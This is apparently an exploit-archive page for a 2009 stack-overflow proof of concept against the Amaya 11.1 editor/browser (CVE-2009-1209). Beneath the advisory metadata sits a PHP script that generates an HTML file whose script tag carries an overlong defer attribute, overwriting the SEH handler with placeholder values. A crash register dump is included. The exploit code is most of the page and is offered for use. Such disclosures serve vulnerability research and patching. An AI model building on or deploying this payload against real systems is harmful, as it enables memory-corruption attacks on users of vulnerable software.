Amaya 11.1 W3C Editor/Browser (defer) Stack Overflow PoC

2009.04.02

Credit: Alfons Luja

Risk: High

Local: Yes

Remote: No

CVE: CVE-2009-1209

CWE: CWE-119

CVSS Base Score: 9.3/10

Impact Subscore: 10/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

<?php

/**//*

     Amaya 11.1 W3C's editor/browser
     Stack Owerflow POC
     Discover by Alfons Luja 
     Thx : OiN 
     select * from friends --
     This stUff overwrite SEH in my box XP home sp 2 
     To correctly overwrite seh you must upload "remote_love.html" to remote server 
     Amaya allow only printable shellcode in this case   
     
     EAX:00000000
     ECX:43434343
     EDX:7C9037D8
     EBX:00000000
     ESP:0012DDD0
     EBP:0012DDF0
     ESI:00000000
     EDI:00000000
     EIP:43434343
     
      
*//**/ 

$junk = "\x41";
$n_seh = "\x42\x42\x42\x42";  //pointer to next seh
$h_seh = "\x43\x43\x43\x43";  //seh handler

for($i=1;$i<7000 - (4*19) - 10;$i++){ $junk.="\x41"; }

$junk.=$n_seh;
$junk.=$h_seh;
$hello = "<script defer=\"".$junk."\">";

$hnd = fopen("remote_love.html","w");
     
       if($hnd){

          fputs($hnd,$hello);
          fclose($hnd);
          echo"DONE !!\n";
     
       } else {

          echo"Kupa !!\n";

       }

?>

References:

http://www.securityfocus.com/bid/34295

http://www.milw0rm.com/exploits/8321

http://www.milw0rm.com/exploits/8314

http://secunia.com/advisories/34531

See this note in RAW Version

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Amaya 11.1 W3C Editor/Browser (defer) Stack Overflow PoC

References:

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